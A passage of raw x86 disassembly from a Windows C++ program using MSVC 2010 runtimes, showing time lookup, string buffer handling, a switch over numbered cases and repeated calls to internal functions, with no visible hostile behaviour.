lea eax, [esp + 0xabc]
mov al, byte [eax]
mov byte [esi], al
cmp dword [esp + 0xad0], edi
jb 0x40887a
mov ecx, dword [esp + 0xabc]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xad0], 0xf
mov dword [esp + 0xacc], ebx
mov byte [esp + 0xabc], bl
inc esi
cmp esi, dword [esp + 0x2c]
jne 0x408830
lea edx, [esp + 0xd4]
push edx
call dword [sym.imp.MSVCR100.dll__time64]
lea eax, [esp + 0xd8]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll__localtime64]
mov ecx, dword [eax]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x28], eax
mov eax, dword [0x4155c0]
add esp, 4
lea ecx, [esp + 0xbd4]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x44]
push ecx
mov byte [esp + 0x6f3c], 0x6b
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xbb8]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xb64]
mov byte [esp + 0x6f38], 0x6c
call fcn.0040c8e0
cmp dword [esp + 0xbcc], edi
jb 0x408937
mov edx, dword [esp + 0xbb8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xbcc], esi
mov dword [esp + 0xbc8], ebx
mov byte [esp + 0xbb8], bl
mov byte [esp + 0x6f38], 0x6f
cmp dword [esp + 0xbe8], edi
jb 0x408973
mov eax, dword [esp + 0xbd4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xb64]
mov dword [esp + 0xbe8], esi
mov dword [esp + 0xbe4], ebx
mov byte [esp + 0xbd4], bl
cmp dword [esp + 0xb78], edi
jae 0x40899f
lea eax, [esp + 0xb64]
push eax
lea ecx, [esp + 0x480]
push ecx
mov dword [esp + 0x98], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x70
mov edx, dword [esp + 0x47c]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x47c]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x47c]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xc44]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x40]
push ecx
mov byte [esp + 0x6f3c], 0x71
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xc0c]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xa68]
mov byte [esp + 0x6f38], 0x72
call fcn.0040c8e0
cmp dword [esp + 0xc20], edi
jb 0x408a6e
mov edx, dword [esp + 0xc0c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xc20], esi
mov dword [esp + 0xc1c], ebx
mov byte [esp + 0xc0c], bl
mov byte [esp + 0x6f38], 0x75
cmp dword [esp + 0xc58], edi
jb 0x408aaa
mov eax, dword [esp + 0xc44]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xa68]
mov dword [esp + 0xc58], esi
mov dword [esp + 0xc54], ebx
mov byte [esp + 0xc44], bl
cmp dword [esp + 0xa7c], edi
jae 0x408ad6
lea eax, [esp + 0xa68]
push eax
lea ecx, [esp + 0x5d0]
push ecx
mov dword [esp + 0x94], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x76
mov edx, dword [esp + 0x5cc]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x5cc]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x5cc]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xcb4]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x54]
push ecx
mov byte [esp + 0x6f3c], 0x77
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xc7c]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xb48]
mov byte [esp + 0x6f38], 0x78
call fcn.0040c8e0
cmp dword [esp + 0xc90], edi
jb 0x408ba5
mov edx, dword [esp + 0xc7c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xc90], esi
mov dword [esp + 0xc8c], ebx
mov byte [esp + 0xc7c], bl
mov byte [esp + 0x6f38], 0x7b
cmp dword [esp + 0xcc8], edi
jb 0x408be1
mov eax, dword [esp + 0xcb4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xb48]
mov dword [esp + 0xcc8], esi
mov dword [esp + 0xcc4], ebx
mov byte [esp + 0xcb4], bl
cmp dword [esp + 0xb5c], edi
jae 0x408c0d
lea eax, [esp + 0xb48]
push eax
lea ecx, [esp + 0x138]
push ecx
mov dword [esp + 0x80], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x7c
mov edx, dword [esp + 0x134]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x134]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x134]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xf00]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x4c]
push ecx
mov byte [esp + 0x6f3c], 0x7d
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xec8]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xb10]
mov byte [esp + 0x6f38], 0x7e
call fcn.0040c8e0
cmp dword [esp + 0xedc], edi
jb 0x408cdc
mov edx, dword [esp + 0xec8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xedc], esi
mov dword [esp + 0xed8], ebx
mov byte [esp + 0xec8], bl
mov byte [esp + 0x6f38], 0x81
cmp dword [esp + 0xf14], edi
jb 0x408d18
mov eax, dword [esp + 0xf00]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xb10]
mov dword [esp + 0xf14], esi
mov dword [esp + 0xf10], ebx
mov byte [esp + 0xf00], bl
cmp dword [esp + 0xb24], edi
jae 0x408d44
lea eax, [esp + 0xb10]
push eax
lea ecx, [esp + 0x288]
push ecx
mov dword [esp + 0x84], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x82
mov edx, dword [esp + 0x284]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x284]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x284]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xbf0]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x50]
push ecx
mov byte [esp + 0x6f3c], 0x83
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xd40]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xad8]
mov byte [esp + 0x6f38], 0x84
call fcn.0040c8e0
cmp dword [esp + 0xd54], edi
jb 0x408e13
mov edx, dword [esp + 0xd40]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xd54], esi
mov dword [esp + 0xd50], ebx
mov byte [esp + 0xd40], bl
mov byte [esp + 0x6f38], 0x87
cmp dword [esp + 0xc04], edi
jb 0x408e4f
mov eax, dword [esp + 0xbf0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xad8]
mov dword [esp + 0xc04], esi
mov dword [esp + 0xc00], ebx
mov byte [esp + 0xbf0], bl
cmp dword [esp + 0xaec], edi
jae 0x408e7b
lea eax, [esp + 0xad8]
push eax
lea ecx, [esp + 0x330]
push ecx
mov dword [esp + 0x88], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x88
mov edx, dword [esp + 0x32c]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x32c]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x32c]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xc28]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x48]
push ecx
mov byte [esp + 0x6f3c], 0x89
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xd78]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xaa0]
mov byte [esp + 0x6f38], 0x8a
call fcn.0040c8e0
cmp dword [esp + 0xd8c], edi
jb 0x408f4a
mov edx, dword [esp + 0xd78]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xd8c], esi
mov dword [esp + 0xd88], ebx
mov byte [esp + 0xd78], bl
mov byte [esp + 0x6f38], 0x8d
cmp dword [esp + 0xc3c], edi
jb 0x408f86
mov eax, dword [esp + 0xc28]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xaa0]
mov dword [esp + 0xc3c], esi
mov dword [esp + 0xc38], ebx
mov byte [esp + 0xc28], bl
cmp dword [esp + 0xab4], edi
jae 0x408fb2
lea eax, [esp + 0xaa0]
push eax
lea ecx, [esp + 0x678]
push ecx
mov dword [esp + 0x8c], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x8e
mov edx, dword [esp + 0x674]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x674]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x674]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xc60]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x58]
push ecx
mov byte [esp + 0x6f3c], 0x8f
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xdb0]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xa84]
mov byte [esp + 0x6f38], 0x90
call fcn.0040c8e0
cmp dword [esp + 0xdc4], edi
jb 0x409081
mov edx, dword [esp + 0xdb0]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xdc4], esi
mov dword [esp + 0xdc0], ebx
mov byte [esp + 0xdb0], bl
mov byte [esp + 0x6f38], 0x93
cmp dword [esp + 0xc74], edi
jb 0x4090bd
mov eax, dword [esp + 0xc60]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xa84]
mov dword [esp + 0xc74], esi
mov dword [esp + 0xc70], ebx
mov byte [esp + 0xc60], bl
cmp dword [esp + 0xa98], edi
jae 0x4090e9
lea eax, [esp + 0xa84]
push eax
lea ecx, [esp + 0x7c8]
push ecx
mov dword [esp + 0x7c], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x94
mov edx, dword [esp + 0x7c4]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x7c4]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x7c4]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xc98]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x5c]
push ecx
mov byte [esp + 0x6f3c], 0x95
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xde8]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xaf4]
mov byte [esp + 0x6f38], 0x96
call fcn.0040c8e0
cmp dword [esp + 0xdfc], edi
jb 0x4091b5
mov edx, dword [esp + 0xde8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xdfc], esi
mov dword [esp + 0xdf8], ebx
mov byte [esp + 0xde8], bl
mov byte [esp + 0x6f38], 0x99
cmp dword [esp + 0xcac], edi
jb 0x4091f1
mov eax, dword [esp + 0xc98]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xaf4]
mov dword [esp + 0xcac], esi
mov dword [esp + 0xca8], ebx
mov byte [esp + 0xc98], bl
cmp dword [esp + 0xb08], edi
jae 0x40921d
lea eax, [esp + 0xaf4]
push eax
lea ecx, [esp + 0x720]
push ecx
mov dword [esp + 0xb4], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0x9a
mov edx, dword [esp + 0x71c]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x71c]
mov byte [esp + 0x14], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x71c]
push eax
call fcn.0040b510
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xcd0]
call fcn.0040a860
mov esi, eax
mov ecx, dword [esp + 0x1c]
push ecx
mov byte [esp + 0x6f3c], 0x9b
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xe20]
call fcn.0040a860
mov ecx, eax
mov eax, esi
lea edx, [esp + 0xb2c]
mov byte [esp + 0x6f38], 0x9c
call fcn.0040c8e0
cmp dword [esp + 0xe34], edi
jb 0x4092ec
mov edx, dword [esp + 0xe20]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [esp + 0xe34], esi
mov dword [esp + 0xe30], ebx
mov byte [esp + 0xe20], bl
mov byte [esp + 0x6f38], 0x9f
cmp dword [esp + 0xce4], edi
jb 0x409328
mov eax, dword [esp + 0xcd0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [esp + 0xb2c]
mov dword [esp + 0xce4], esi
mov dword [esp + 0xce0], ebx
mov byte [esp + 0xcd0], bl
cmp dword [esp + 0xb40], edi
jae 0x409354
lea eax, [esp + 0xb2c]
push eax
lea ecx, [esp + 0x528]
push ecx
mov dword [esp + 0x1c], eax
call fcn.0040b420
mov byte [esp + 0x6f38], 0xa0
mov edx, dword [esp + 0x524]
mov ecx, dword [edx + 4]
lea ecx, [esp + ecx + 0x524]
mov byte [esp + 0x38], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
push eax
mov eax, dword [esp + 0x3c]
push eax
push ecx
mov ecx, dword [esp + 0x34]
push ecx
lea edx, [esp + 0x48]
push edx
call fcn.0040c980
add esp, 0x14
lea eax, [esp + 0x524]
push eax
call fcn.0040b510
mov dword [esp + 0x8a0], esi
mov dword [esp + 0x89c], ebx
mov byte [esp + 0x88c], bl
mov eax, dword [esp + 0x24]
mov byte [esp + 0x6f38], 0xa1
cmp eax, 2
jge 0x409450
mov ecx, dword [esp + 0x44]
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xe58]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa2
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xe6c], 0x10
jb 0x409432
mov edx, dword [esp + 0xe58]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xe6c], 0xf
mov dword [esp + 0xe68], ebx
mov byte [esp + 0xe58], bl
jmp 0x4097f5
jne 0x4094c3
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xe90]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa3
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xea4], 0x10
jb 0x4094a5
mov ecx, dword [esp + 0xe90]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xea4], 0xf
mov dword [esp + 0xea0], ebx
mov byte [esp + 0xe90], bl
jmp 0x4097f5
cmp eax, 3
jne 0x409539
mov edx, dword [esp + 0x54]
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xd24]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa4
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xd38], 0x10
jb 0x40951b
mov eax, dword [esp + 0xd24]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xd38], 0xf
mov dword [esp + 0xd34], ebx
mov byte [esp + 0xd24], bl
jmp 0x4097f5
cmp eax, 4
jne 0x4095af
mov ecx, dword [esp + 0x4c]
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xee4]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa5
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xef8], 0x10
jb 0x409591
mov edx, dword [esp + 0xee4]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xef8], 0xf
mov dword [esp + 0xef4], ebx
mov byte [esp + 0xee4], bl
jmp 0x4097f5
cmp eax, 5
jne 0x409625
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xd5c]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa6
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xd70], 0x10
jb 0x409607
mov ecx, dword [esp + 0xd5c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xd70], 0xf
mov dword [esp + 0xd6c], ebx
mov byte [esp + 0xd5c], bl
jmp 0x4097f5
cmp eax, 6
jne 0x40969b
mov edx, dword [esp + 0x48]
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xe3c]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa7
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xe50], 0x10
jb 0x40967d
mov eax, dword [esp + 0xe3c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xe50], 0xf
mov dword [esp + 0xe4c], ebx
mov byte [esp + 0xe3c], bl
jmp 0x4097f5
cmp eax, 7
jne 0x409711
mov ecx, dword [esp + 0x58]
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xd94]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa8
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xda8], 0x10
jb 0x4096f3
mov edx, dword [esp + 0xd94]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xda8], 0xf
mov dword [esp + 0xda4], ebx
mov byte [esp + 0xd94], bl
jmp 0x4097f5
cmp eax, 8
jne 0x409784
mov eax, dword [esp + 0x5c]
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xb9c]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xa9
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xbb0], 0x10
jb 0x409769
mov ecx, dword [esp + 0xb9c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xbb0], 0xf
mov dword [esp + 0xbac], ebx
mov byte [esp + 0xb9c], bl
jmp 0x4097f5
cmp eax, 9
jne 0x4097f5
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
lea ecx, [esp + 0xdcc]
call fcn.0040a860
mov edi, eax
lea esi, [esp + 0x88c]
mov byte [esp + 0x6f38], 0xaa
call fcn.0040b750
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xde0], 0x10
jb 0x4097dc
mov eax, dword [esp + 0xdcc]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xde0], 0xf
mov dword [esp + 0xddc], ebx
mov byte [esp + 0xdcc], bl
mov eax, dword [0x4155c0]
lea ecx, [esp + 0xe74]
call fcn.0040a860
push ebx
push eax
or eax, 0xffffffff
lea edi, [esp + 0x894]
mov byte [esp + 0x6f40], 0xab
call fcn.0040bd80
mov esi, 0x10
mov byte [esp + 0x6f38], 0xa1
cmp dword [esp + 0xe88], esi
jb 0x409846
mov ecx, dword [esp + 0xe74]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xe88], 0xf
mov dword [esp + 0xe84], ebx
mov byte [esp + 0xe74], bl
cmp dword [esp + 0x8a0], esi
jb 0x409875
mov edx, dword [esp + 0x88c]
mov dword [esp + 0x24], edx
jmp 0x409880
lea eax, [esp + 0x88c]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x3d8]
push edx
call fcn.0040b420
mov byte [esp + 0x6f38], 0xac
mov eax, dword [esp + 0x3d4]
mov ecx, dword [eax + 4]
lea ecx, [esp + ecx + 0x3d4]
mov byte [esp + 0x38], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x64]
sub ecx, dword [0x4155bc]
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x64]
push edx
push ecx
push eax
lea ecx, [esp + 0x48]
push ecx
call fcn.0040c980
add esp, 0x14
lea edx, [esp + 0x3d4]
push edx
call fcn.0040b510
mov eax, dword [esp + 0x94]
push eax
call fcn.00401320
mov ecx, dword [esp + 0x28]
add esp, 4
mov edi, edx
push edi
mov esi, eax
push esi
push edi
push esi
push edi
push esi
push ecx
mov dword [esp + 0xb4], edi
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0xac]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0xa8]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x94]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x98]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x9c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0xa0]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x90]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0xc8]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x30]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x60]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x5c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x70]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x68]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x6c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x64]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
add esp, 0x1c
push edi
mov edx, dword [esp + 0x5c]
push esi
push edi
push esi
push edi
push esi
push edx
